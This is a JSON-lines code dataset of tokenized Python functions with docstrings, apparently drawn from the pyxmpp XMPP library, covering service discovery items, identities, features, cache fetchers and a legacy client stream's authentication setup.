{"signature": "def get_datetime_utc(self):", "body": "return self.timestamp<EOL>", "docstring": "Get the timestamp as a UTC.\n\n        :return: the timestamp of the delay element represented in UTC.\n        :returntype: `datetime.datetime`", "id": "f15249:c0:m4"}
{"signature": "def register_disco_cache_fetchers(cache_suite,stream):", "body": "tmp=stream<EOL>class DiscoInfoCacheFetcher(DiscoCacheFetcherBase):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>stream=tmp<EOL>disco_class=DiscoInfo<EOL><DEDENT>class DiscoItemsCacheFetcher(DiscoCacheFetcherBase):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>stream=tmp<EOL>disco_class=DiscoItems<EOL><DEDENT>cache_suite.register_fetcher(DiscoInfo,DiscoInfoCacheFetcher)<EOL>cache_suite.register_fetcher(DiscoItems,DiscoItemsCacheFetcher)<EOL>", "docstring": "Register Service Discovery cache fetchers into given\n    cache suite and using the stream provided.\n\n    :Parameters:\n        - `cache_suite`: the cache suite where the fetchers are to be\n          registered.\n        - `stream`: the stream to be used by the fetchers.\n    :Types:\n        - `cache_suite`: `cache.CacheSuite`\n        - `stream`: `pyxmpp.stream.Stream`", "id": "f15250:m0"}
{"signature": "def __init__(self,disco,xmlnode_or_jid,node=None,name=None,action=None):", "body": "self.disco=disco<EOL>if isinstance(xmlnode_or_jid,JID):<EOL><INDENT>if disco:<EOL><INDENT>self.xmlnode=disco.xmlnode.newChild(None,\"<STR_LIT>\",None)<EOL><DEDENT>else:<EOL><INDENT>self.xmlnode=common_root.newChild(None,\"<STR_LIT>\",None)<EOL>ns=self.xmlnode.newNs(DISCO_ITEMS_NS,None)<EOL>self.xmlnode.setNs(ns)<EOL><DEDENT>self.set_jid(xmlnode_or_jid)<EOL>self.set_name(name)<EOL>self.set_node(node)<EOL>self.set_action(action)<EOL><DEDENT>else:<EOL><INDENT>if disco is None:<EOL><INDENT>self.xmlnode=xmlnode_or_jid.copyNode(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self.xmlnode=xmlnode_or_jid<EOL><DEDENT>if name:<EOL><INDENT>self.set_name(name)<EOL><DEDENT>if node:<EOL><INDENT>self.set_node(node)<EOL><DEDENT>if action:<EOL><INDENT>self.set_action(action)<EOL><DEDENT><DEDENT>self.xpath_ctxt=common_doc.xpathNewContext()<EOL>self.xpath_ctxt.setContextNode(self.xmlnode)<EOL>self.xpath_ctxt.xpathRegisterNs(\"<STR_LIT:d>\",DISCO_ITEMS_NS)<EOL>", "docstring": "Initialize an `DiscoItem` object.\n\n        :Parameters:\n            - `disco`: the disco#items reply `self` is a part of.\n            - `xmlnode_or_jid`: XML element describing the item or the JID of\n              the item.\n            - `node`: disco node of the item.\n            - `name`: name of the item.\n            - `action`: 'action' attribute of the item.\n        :Types:\n            - `disco`: `DiscoItems`\n            - `xmlnode_or_jid`: `libxml2.xmlNode` or `JID`\n            - `node`: `unicode`\n            - `name`: `unicode`\n            - `action`: `unicode`", "id": "f15250:c0:m0"}
{"signature": "def remove(self):", "body": "if self.disco is None:<EOL><INDENT>return<EOL><DEDENT>self.xmlnode.unlinkNode()<EOL>oldns=self.xmlnode.ns()<EOL>ns=self.xmlnode.newNs(oldns.getContent(),None)<EOL>self.xmlnode.replaceNs(oldns,ns)<EOL>common_root.addChild(self.xmlnode())<EOL>self.disco=None<EOL>", "docstring": "Remove `self` from the containing `DiscoItems` object.", "id": "f15250:c0:m3"}
{"signature": "def get_name(self):", "body": "name = self.xmlnode.prop(\"<STR_LIT:name>\")<EOL>if name is None:<EOL><INDENT>return None<EOL><DEDENT>return name.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Get the name of the item.\n\n        :return: the name of the item or `None`.\n        :returntype: `unicode`", "id": "f15250:c0:m4"}
{"signature": "def set_name(self, name):", "body": "if name is None:<EOL><INDENT>if self.xmlnode.hasProp(\"<STR_LIT:name>\"):<EOL><INDENT>self.xmlnode.unsetProp(\"<STR_LIT:name>\")<EOL><DEDENT>return<EOL><DEDENT>name = str(name)<EOL>self.xmlnode.setProp(\"<STR_LIT:name>\", name.encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the name of the item.\n\n        :Parameters:\n            - `name`: the new name or `None`.\n        :Types:\n            - `name`: `unicode`", "id": "f15250:c0:m5"}
{"signature": "def get_node(self):", "body": "node = self.xmlnode.prop(\"<STR_LIT>\")<EOL>if node is None:<EOL><INDENT>return None<EOL><DEDENT>return node.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Get the node of the item.\n\n        :return: the node of the item or `None`.\n        :returntype: `unicode`", "id": "f15250:c0:m6"}
{"signature": "def set_node(self,node):", "body": "if node is None:<EOL><INDENT>if self.xmlnode.hasProp(\"<STR_LIT>\"):<EOL><INDENT>self.xmlnode.unsetProp(\"<STR_LIT>\")<EOL><DEDENT>return<EOL><DEDENT>node = str(node)<EOL>self.xmlnode.setProp(\"<STR_LIT>\", node.encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the node of the item.\n\n        :Parameters:\n            - `node`: the new node or `None`.\n        :Types:\n            - `node`: `unicode`", "id": "f15250:c0:m7"}
{"signature": "def get_action(self):", "body": "action=self.xmlnode.prop(\"<STR_LIT:action>\")<EOL>if action is None:<EOL><INDENT>return None<EOL><DEDENT>return action.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Get the action attribute of the item.\n\n        :return: the action of the item or `None`.\n        :returntype: `unicode`", "id": "f15250:c0:m8"}
{"signature": "def set_action(self,action):", "body": "if action is None:<EOL><INDENT>if self.xmlnode.hasProp(\"<STR_LIT:action>\"):<EOL><INDENT>self.xmlnode.unsetProp(\"<STR_LIT:action>\")<EOL><DEDENT>return<EOL><DEDENT>if action not in (\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>action = str(action)<EOL>self.xmlnode.setProp(\"<STR_LIT:action>\", action.encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the action of the item.\n\n        :Parameters:\n            - `action`: the new action or `None`.\n        :Types:\n            - `action`: `unicode`", "id": "f15250:c0:m9"}
{"signature": "def get_jid(self):", "body": "jid = self.xmlnode.prop(\"<STR_LIT>\")<EOL>return JID( jid.decode(\"<STR_LIT:utf-8>\") )<EOL>", "docstring": "Get the JID of the item.\n\n        :return: the JID of the item.\n        :returntype: `JID`", "id": "f15250:c0:m10"}
{"signature": "def set_jid(self,jid):", "body": "self.xmlnode.setProp(\"<STR_LIT>\", jid.as_unicode().encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the JID of the item.\n\n        :Parameters:\n            - `jid`: the new jid.\n        :Types:\n            - `jid`: `JID`", "id": "f15250:c0:m11"}
{"signature": "def __init__(self, disco, xmlnode_or_name, item_category=None, item_type=None, replace=False):", "body": "self.disco=disco<EOL>if disco and replace:<EOL><INDENT>old=disco.xpath_ctxt.xpathEval(\"<STR_LIT>\")<EOL>if old:<EOL><INDENT>for n in old:<EOL><INDENT>n.unlinkNode()<EOL>n.freeNode()<EOL><DEDENT><DEDENT><DEDENT>if isinstance(xmlnode_or_name,libxml2.xmlNode):<EOL><INDENT>if disco is None:<EOL><INDENT>self.xmlnode=xmlnode_or_name.copyNode(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self.xmlnode=xmlnode_or_name<EOL><DEDENT><DEDENT>elif not item_category:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>elif not item_type:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if disco:<EOL><INDENT>self.xmlnode=disco.xmlnode.newChild(None,\"<STR_LIT>\",None)<EOL><DEDENT>else:<EOL><INDENT>self.xmlnode=common_root.newChild(None,\"<STR_LIT>\",None)<EOL>ns=self.xmlnode.newNs(DISCO_INFO_NS,None)<EOL>self.xmlnode.setNs(ns)<EOL><DEDENT>self.set_name(xmlnode_or_name)<EOL>self.set_category(item_category)<EOL>self.set_type(item_type)<EOL><DEDENT>self.xpath_ctxt=common_doc.xpathNewContext()<EOL>self.xpath_ctxt.setContextNode(self.xmlnode)<EOL>self.xpath_ctxt.xpathRegisterNs(\"<STR_LIT:d>\",DISCO_INFO_NS)<EOL>", "docstring": "Initialize an `DiscoIdentity` object.\n\n        :Parameters:\n            - `disco`: the disco#info reply `self` is a part of.\n            - `xmlnode_or_name`: XML element describing the identity or the\n              name of the item described.\n            - `item_category`: category of the item described.\n            - `item_type`: type of the item described.\n            - `replace`: if `True` than all other <identity/> elements in\n              `disco` will be removed.\n        :Types:\n            - `disco`: `DiscoItems`\n            - `xmlnode_or_name`: `libxml2.xmlNode` or `unicode`\n            - `item_category`: `unicode`\n            - `item_type`: `unicode`\n            - `replace`: `bool`", "id": "f15250:c1:m0"}
{"signature": "def remove(self):", "body": "if self.disco is None:<EOL><INDENT>return<EOL><DEDENT>self.xmlnode.unlinkNode()<EOL>oldns=self.xmlnode.ns()<EOL>ns=self.xmlnode.newNs(oldns.getContent(),None)<EOL>self.xmlnode.replaceNs(oldns,ns)<EOL>common_root.addChild(self.xmlnode())<EOL>self.disco=None<EOL>", "docstring": "Remove `self` from the containing `DiscoInfo` object.", "id": "f15250:c1:m3"}
{"signature": "def get_name(self):", "body": "var = self.xmlnode.prop(\"<STR_LIT:name>\")<EOL>if not var:<EOL><INDENT>var = \"<STR_LIT>\"<EOL><DEDENT>return var.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Get the name of the item.\n\n        :return: the name of the item or `None`.\n        :returntype: `unicode`", "id": "f15250:c1:m4"}
{"signature": "def set_name(self,name):", "body": "if not name:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>name = str(name)<EOL>self.xmlnode.setProp(\"<STR_LIT:name>\", name.encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the name of the item.\n\n        :Parameters:\n            - `name`: the new name or `None`.\n        :Types:\n            - `name`: `unicode`", "id": "f15250:c1:m5"}
{"signature": "def get_category(self):", "body": "var = self.xmlnode.prop(\"<STR_LIT>\")<EOL>if not var:<EOL><INDENT>var = \"<STR_LIT:?>\"<EOL><DEDENT>return var.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Get the category of the item.\n\n        :return: the category of the item.\n        :returntype: `unicode`", "id": "f15250:c1:m6"}
{"signature": "def set_category(self, category):", "body": "if not category:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>category = str(category)<EOL>self.xmlnode.setProp(\"<STR_LIT>\", category.encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the category of the item.\n\n        :Parameters:\n            - `category`: the new category.\n        :Types:\n            - `category`: `unicode`", "id": "f15250:c1:m7"}
{"signature": "def get_type(self):", "body": "item_type = self.xmlnode.prop(\"<STR_LIT:type>\")<EOL>if not item_type:<EOL><INDENT>item_type = \"<STR_LIT:?>\"<EOL><DEDENT>return item_type.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Get the type of the item.\n\n        :return: the type of the item.\n        :returntype: `unicode`", "id": "f15250:c1:m8"}
{"signature": "def set_type(self, item_type):", "body": "if not item_type:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>item_type = str(item_type)<EOL>self.xmlnode.setProp(\"<STR_LIT:type>\", item_type.encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the type of the item.\n\n        :Parameters:\n            - `item_type`: the new type.\n        :Types:\n            - `item_type`: `unicode`", "id": "f15250:c1:m9"}
{"signature": "def __init__(self,xmlnode_or_node=None):", "body": "self.xmlnode=None<EOL>self.xpath_ctxt=None<EOL>if isinstance(xmlnode_or_node,libxml2.xmlNode):<EOL><INDENT>ns=xmlnode_or_node.ns()<EOL>if ns.getContent() != DISCO_ITEMS_NS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.xmlnode=xmlnode_or_node.docCopyNode(common_doc,<NUM_LIT:1>)<EOL>common_root.addChild(self.xmlnode)<EOL>self.ns=self.xmlnode.ns()<EOL><DEDENT>else:<EOL><INDENT>self.xmlnode=common_root.newChild(None,\"<STR_LIT>\",None)<EOL>self.ns=self.xmlnode.newNs(DISCO_ITEMS_NS,None)<EOL>self.xmlnode.setNs(self.ns)<EOL>self.set_node(xmlnode_or_node)<EOL><DEDENT>self.xpath_ctxt=common_doc.xpathNewContext()<EOL>self.xpath_ctxt.setContextNode(self.xmlnode)<EOL>self.xpath_ctxt.xpathRegisterNs(\"<STR_LIT:d>\",DISCO_ITEMS_NS)<EOL>", "docstring": "Initialize an `DiscoItems` object.\n\n        Wrap an existing disco#items XML element or create a new one.\n\n        :Parameters:\n            - `xmlnode_or_node`: XML node to be wrapped into `self` or an item\n              node name.\n        :Types:\n            - `xmlnode_or_node`: `libxml2.xmlNode` or `unicode`", "id": "f15250:c2:m0"}
{"signature": "def get_node(self):", "body": "node = self.xmlnode.prop(\"<STR_LIT>\")<EOL>if not node:<EOL><INDENT>return None<EOL><DEDENT>return node.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Get the node address of the `DiscoItems` object.\n\n        :return: the node name.\n        :returntype: `unicode`", "id": "f15250:c2:m2"}
{"signature": "def set_node(self, node):", "body": "if node is None:<EOL><INDENT>if self.xmlnode.hasProp(\"<STR_LIT>\"):<EOL><INDENT>self.xmlnode.unsetProp(\"<STR_LIT>\")<EOL><DEDENT>return<EOL><DEDENT>node = str(node)<EOL>self.xmlnode.setProp(\"<STR_LIT>\", node.encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the node of the disco#item element.\n\n        :Parameters:\n            - `node`: the new node or `None`.\n        :Types:\n            - `node`: `unicode`", "id": "f15250:c2:m3"}
{"signature": "def get_items(self):", "body": "ret=[]<EOL>l=self.xpath_ctxt.xpathEval(\"<STR_LIT>\")<EOL>if l is not None:<EOL><INDENT>for i in l:<EOL><INDENT>ret.append(DiscoItem(self, i))<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Get the items contained in `self`.\n\n        :return: the items contained.\n        :returntype: `list` of `DiscoItem`", "id": "f15250:c2:m4"}
{"signature": "def set_items(self, item_list):", "body": "for item in self.items:<EOL><INDENT>item.remove()<EOL><DEDENT>for item in item_list:<EOL><INDENT>try:<EOL><INDENT>self.add_item(item.jid,item.node,item.name,item.action)<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.add_item(*item)<EOL><DEDENT><DEDENT>", "docstring": "Set items in the disco#items object.\n\n        All previous items are removed.\n\n        :Parameters:\n            - `item_list`: list of items or item properties\n              (jid,node,name,action).\n        :Types:\n            - `item_list`: sequence of `DiscoItem` or sequence of sequences", "id": "f15250:c2:m5"}
{"signature": "def invalidate_items(self):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning, stacklevel=<NUM_LIT:1>)<EOL>", "docstring": "Clear cached item list.", "id": "f15250:c2:m6"}
{"signature": "def add_item(self,jid,node=None,name=None,action=None):", "body": "return DiscoItem(self,jid,node,name,action)<EOL>", "docstring": "Add a new item to the `DiscoItems` object.\n\n        :Parameters:\n            - `jid`: item JID.\n            - `node`: item node name.\n            - `name`: item name.\n            - `action`: action for a \"disco push\".\n        :Types:\n            - `jid`: `pyxmpp.JID`\n            - `node`: `unicode`\n            - `name`: `unicode`\n            - `action`: `unicode`\n\n        :returns: the item created.\n        :returntype: `DiscoItem`.", "id": "f15250:c2:m7"}
{"signature": "def has_item(self,jid,node=None):", "body": "l=self.xpath_ctxt.xpathEval(\"<STR_LIT>\")<EOL>if l is None:<EOL><INDENT>return False<EOL><DEDENT>for it in l:<EOL><INDENT>di=DiscoItem(self,it)<EOL>if di.jid==jid and di.node==node:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if `self` contains an item.\n\n        :Parameters:\n            - `jid`: JID of the item.\n            - `node`: node name of the item.\n        :Types:\n            - `jid`: `JID`\n            - `node`: `libxml2.xmlNode`\n\n        :return: `True` if the item is found in `self`.\n        :returntype: `bool`", "id": "f15250:c2:m8"}
{"signature": "def __init__(self,xmlnode_or_node=None, parent=None, doc=None):", "body": "self.xmlnode=None<EOL>self.xpath_ctxt=None<EOL>if not doc:<EOL><INDENT>doc=common_doc<EOL><DEDENT>if not parent:<EOL><INDENT>parent=common_root<EOL><DEDENT>if isinstance(xmlnode_or_node,libxml2.xmlNode):<EOL><INDENT>ns=xmlnode_or_node.ns()<EOL>if ns.getContent() != DISCO_INFO_NS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.xmlnode=xmlnode_or_node.docCopyNode(doc,<NUM_LIT:1>)<EOL>parent.addChild(self.xmlnode)<EOL><DEDENT>else:<EOL><INDENT>self.xmlnode=parent.newChild(None,\"<STR_LIT>\",None)<EOL>self.ns=self.xmlnode.newNs(DISCO_INFO_NS,None)<EOL>self.xmlnode.setNs(self.ns)<EOL>self.set_node(xmlnode_or_node)<EOL><DEDENT>self.xpath_ctxt=doc.xpathNewContext()<EOL>self.xpath_ctxt.setContextNode(self.xmlnode)<EOL>self.xpath_ctxt.xpathRegisterNs(\"<STR_LIT:d>\",DISCO_INFO_NS)<EOL>", "docstring": "Initialize an `DiscoInfo` object.\n\n        Wrap an existing disco#info XML element or create a new one.\n\n        :Parameters:\n            - `xmlnode_or_node`: XML node to be wrapped into `self` or an item\n              node name.\n            - `parent`: parent node for the `DiscoInfo` element.\n            - `doc`: document for the `DiscoInfo` element.\n        :Types:\n            - `xmlnode_or_node`: `libxml2.xmlNode` or `unicode`\n            - `parent`: `libxml2.xmlNode`\n            - `doc`: `libxml2.xmlDoc`", "id": "f15250:c3:m0"}
{"signature": "def get_node(self):", "body": "node=self.xmlnode.prop(\"<STR_LIT>\")<EOL>if not node:<EOL><INDENT>return None<EOL><DEDENT>return node.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Get the node address of the `DiscoInfo` object.\n\n        :return: the node name.\n        :returntype: `unicode`", "id": "f15250:c3:m2"}
{"signature": "def set_node(self,node):", "body": "if node is None:<EOL><INDENT>if self.xmlnode.hasProp(\"<STR_LIT>\"):<EOL><INDENT>self.xmlnode.unsetProp(\"<STR_LIT>\")<EOL><DEDENT>return<EOL><DEDENT>node = str(node)<EOL>self.xmlnode.setProp(\"<STR_LIT>\", node.encode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Set the node of the disco#info element.\n\n        :Parameters:\n            - `node`: the new node or `None`.\n        :Types:\n            - `node`: `unicode`", "id": "f15250:c3:m3"}
{"signature": "def get_features(self):", "body": "l = self.xpath_ctxt.xpathEval(\"<STR_LIT>\")<EOL>ret = []<EOL>for f in l:<EOL><INDENT>if f.hasProp(\"<STR_LIT>\"):<EOL><INDENT>ret.append( f.prop(\"<STR_LIT>\").decode(\"<STR_LIT:utf-8>\") )<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Get the features contained in `self`.\n\n        :return: the list of features.\n        :returntype: `list` of `unicode`", "id": "f15250:c3:m4"}
{"signature": "def set_features(self, features):", "body": "for var in self.features:<EOL><INDENT>self.remove_feature(var)<EOL><DEDENT>for var in features:<EOL><INDENT>self.add_feature(var)<EOL><DEDENT>", "docstring": "Set features in the disco#info object.\n\n        All existing features are removed from `self`.\n\n        :Parameters:\n            - `features`: list of features.\n        :Types:\n            - `features`: sequence of `unicode`", "id": "f15250:c3:m5"}
{"signature": "def has_feature(self,var):", "body": "if not var:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if '<STR_LIT:\">' not in var:<EOL><INDENT>expr='<STR_LIT>' % (var,)<EOL><DEDENT>elif \"<STR_LIT:'>\" not in var:<EOL><INDENT>expr=\"<STR_LIT>\" % (var,)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>l=self.xpath_ctxt.xpathEval(to_utf8(expr))<EOL>if l:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check if `self` contains the named feature.\n\n        :Parameters:\n            - `var`: the feature name.\n        :Types:\n            - `var`: `unicode`\n\n        :return: `True` if the feature is found in `self`.\n        :returntype: `bool`", "id": "f15250:c3:m6"}
{"signature": "def invalidate_features(self):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning, stacklevel=<NUM_LIT:1>)<EOL>", "docstring": "Clear cached feature list.", "id": "f15250:c3:m7"}
{"signature": "def add_feature(self,var):", "body": "if self.has_feature(var):<EOL><INDENT>return<EOL><DEDENT>n=self.xmlnode.newChild(None, \"<STR_LIT>\", None)<EOL>n.setProp(\"<STR_LIT>\", to_utf8(var))<EOL>", "docstring": "Add a feature to `self`.\n\n        :Parameters:\n            - `var`: the feature name.\n        :Types:\n            - `var`: `unicode`", "id": "f15250:c3:m8"}
{"signature": "def remove_feature(self,var):", "body": "if not var:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if '<STR_LIT:\">' not in var:<EOL><INDENT>expr='<STR_LIT>' % (var,)<EOL><DEDENT>elif \"<STR_LIT:'>\" not in var:<EOL><INDENT>expr=\"<STR_LIT>\" % (var,)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>l=self.xpath_ctxt.xpathEval(expr)<EOL>if not l:<EOL><INDENT>return<EOL><DEDENT>for f in l:<EOL><INDENT>f.unlinkNode()<EOL>f.freeNode()<EOL><DEDENT>", "docstring": "Remove a feature from `self`.\n\n        :Parameters:\n            - `var`: the feature name.\n        :Types:\n            - `var`: `unicode`", "id": "f15250:c3:m9"}
{"signature": "def get_identities(self):", "body": "ret=[]<EOL>l=self.xpath_ctxt.xpathEval(\"<STR_LIT>\")<EOL>if l is not None:<EOL><INDENT>for i in l:<EOL><INDENT>ret.append(DiscoIdentity(self,i))<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "List the identity objects contained in `self`.\n\n        :return: the list of identities.\n        :returntype: `list` of `DiscoIdentity`", "id": "f15250:c3:m10"}
{"signature": "def set_identities(self,identities):", "body": "for identity in self.identities:<EOL><INDENT>identity.remove()<EOL><DEDENT>for identity in identities:<EOL><INDENT>try:<EOL><INDENT>self.add_identity(identity.name,identity.category,identity.type)<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.add_identity(*identity)<EOL><DEDENT><DEDENT>", "docstring": "Set identities in the disco#info object.\n\n        Remove all existing identities from `self`.\n\n        :Parameters:\n            - `identities`: list of identities or identity properties\n              (jid,node,category,type,name).\n        :Types:\n            - `identities`: sequence of `DiscoIdentity` or sequence of sequences", "id": "f15250:c3:m11"}
{"signature": "def identity_is(self,item_category,item_type=None):", "body": "if not item_category:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not item_type:<EOL><INDENT>type_expr=\"<STR_LIT>\"<EOL><DEDENT>elif '<STR_LIT:\">' not in item_type:<EOL><INDENT>type_expr='<STR_LIT>' % (item_type,)<EOL><DEDENT>elif \"<STR_LIT:'>\" not in type:<EOL><INDENT>type_expr=\"<STR_LIT>\" % (item_type,)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if '<STR_LIT:\">' not in item_category:<EOL><INDENT>expr='<STR_LIT>' % (item_category,type_expr)<EOL><DEDENT>elif \"<STR_LIT:'>\" not in item_category:<EOL><INDENT>expr=\"<STR_LIT>\" % (item_category,type_expr)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>l=self.xpath_ctxt.xpathEval(to_utf8(expr))<EOL>if l:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check if the item described by `self` belongs to the given category\n        and type.\n\n        :Parameters:\n            - `item_category`: the category name.\n            - `item_type`: the type name. If `None` then only the category is\n              checked.\n        :Types:\n            - `item_category`: `unicode`\n            - `item_type`: `unicode`\n\n        :return: `True` if `self` contains at least one <identity/> object with\n            given type and category.\n        :returntype: `bool`", "id": "f15250:c3:m12"}
{"signature": "def invalidate_identities(self):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning, stacklevel=<NUM_LIT:1>)<EOL>", "docstring": "Clear cached identity list.", "id": "f15250:c3:m13"}
{"signature": "def add_identity(self,item_name,item_category=None,item_type=None):", "body": "return DiscoIdentity(self,item_name,item_category,item_type)<EOL>", "docstring": "Add an identity to the `DiscoInfo` object.\n\n        :Parameters:\n            - `item_name`: name of the item.\n            - `item_category`: category of the item.\n            - `item_type`: type of the item.\n        :Types:\n            - `item_name`: `unicode`\n            - `item_category`: `unicode`\n            - `item_type`: `unicode`\n\n        :returns: the identity created.\n        :returntype: `DiscoIdentity`", "id": "f15250:c3:m14"}
{"signature": "def fetch(self):", "body": "from ..iq import Iq<EOL>jid,node = self.address<EOL>iq = Iq(to_jid = jid, stanza_type = \"<STR_LIT>\")<EOL>disco = self.disco_class(node)<EOL>iq.add_content(disco.xmlnode)<EOL>self.stream.set_response_handlers(iq,self.__response, self.__error,<EOL>self.__timeout)<EOL>self.stream.send(iq)<EOL>", "docstring": "Initialize the Service Discovery process.", "id": "f15250:c4:m0"}
{"signature": "def __response(self,stanza):", "body": "try:<EOL><INDENT>d=self.disco_class(stanza.get_query())<EOL>self.got_it(d)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>self.error(e)<EOL><DEDENT>", "docstring": "Handle successful disco response.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15250:c4:m1"}
{"signature": "def __error(self,stanza):", "body": "try:<EOL><INDENT>self.error(stanza.get_error())<EOL><DEDENT>except ProtocolError:<EOL><INDENT>from ..error import StanzaErrorNode<EOL>self.error(StanzaErrorNode(\"<STR_LIT>\"))<EOL><DEDENT>", "docstring": "Handle disco error response.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15250:c4:m2"}
{"signature": "def __timeout(self,stanza):", "body": "pass<EOL>", "docstring": "Handle disco timeout.", "id": "f15250:c4:m3"}
{"signature": "def __init__(self, jid, password = None, server = None, port = <NUM_LIT>,<EOL>auth_methods = (\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>tls_settings = None, keepalive = <NUM_LIT:0>, owner = None):", "body": "(self.authenticated, self.available_auth_methods, self.auth_stanza,<EOL>self.peer_authenticated, self.auth_method_used,<EOL>self.registration_callback, self.registration_form, self.__register) = (None,) * <NUM_LIT:8><EOL>ClientStream.__init__(self, jid, password, server, port,<EOL>auth_methods, tls_settings, keepalive, owner)<EOL>self.__logger=logging.getLogger(\"<STR_LIT>\")<EOL>", "docstring": "Initialize a LegacyClientStream object.\n\n        :Parameters:\n            - `jid`: local JID.\n            - `password`: user's password.\n            - `server`: server to use. If not given then address will be derived form the JID.\n            - `port`: port number to use. If not given then address will be derived form the JID.\n            - `auth_methods`: sallowed authentication methods. SASL authentication mechanisms\n              in the list should be prefixed with \"sasl:\" string.\n            - `tls_settings`: settings for StartTLS -- `TLSSettings` instance.\n            - `keepalive`: keepalive output interval. 0 to disable.\n            - `owner`: `Client`, `Component` or similar object \"owning\" this stream.\n        :Types:\n            - `jid`: `pyxmpp.JID`\n            - `password`: `unicode`\n            - `server`: `unicode`\n            - `port`: `int`\n            - `auth_methods`: sequence of `str`\n            - `tls_settings`: `pyxmpp.TLSSettings`\n            - `keepalive`: `int`", "id": "f15251:c0:m0"}
{"signature": "def _reset(self):", "body": "ClientStream._reset(self)<EOL>self.available_auth_methods = None<EOL>self.auth_stanza = None<EOL>self.registration_callback = None<EOL>", "docstring": "Reset the `LegacyClientStream` object state, making the object ready\n        to handle new connections.", "id": "f15251:c0:m1"}
{"signature": "def _post_connect(self):", "body": "if not self.initiator:<EOL><INDENT>if \"<STR_LIT>\" in self.auth_methods or \"<STR_LIT>\" in self.auth_methods:<EOL><INDENT>self.set_iq_get_handler(\"<STR_LIT>\",\"<STR_LIT>\",<EOL>self.auth_in_stage1)<EOL>self.set_iq_set_handler(\"<STR_LIT>\",\"<STR_LIT>\",<EOL>self.auth_in_stage2)<EOL><DEDENT><DEDENT>elif self.registration_callback:<EOL><INDENT>iq = Iq(stanza_type = \"<STR_LIT>\")<EOL>iq.set_content(Register())<EOL>self.set_response_handlers(iq, self.registration_form_received, self.registration_error)<EOL>self.send(iq)<EOL>return<EOL><DEDENT>ClientStream._post_connect(self)<EOL>", "docstring": "Initialize authentication when the connection is established\n        and we are the initiator.", "id": "f15251:c0:m2"}
{"signature": "def _post_auth(self):", "body": "ClientStream._post_auth(self)<EOL>if not self.initiator:<EOL><INDENT>self.unset_iq_get_handler(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>self.unset_iq_set_handler(\"<STR_LIT>\",\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Unregister legacy authentication handlers after successfull\n        authentication.", "id": "f15251:c0:m3"}
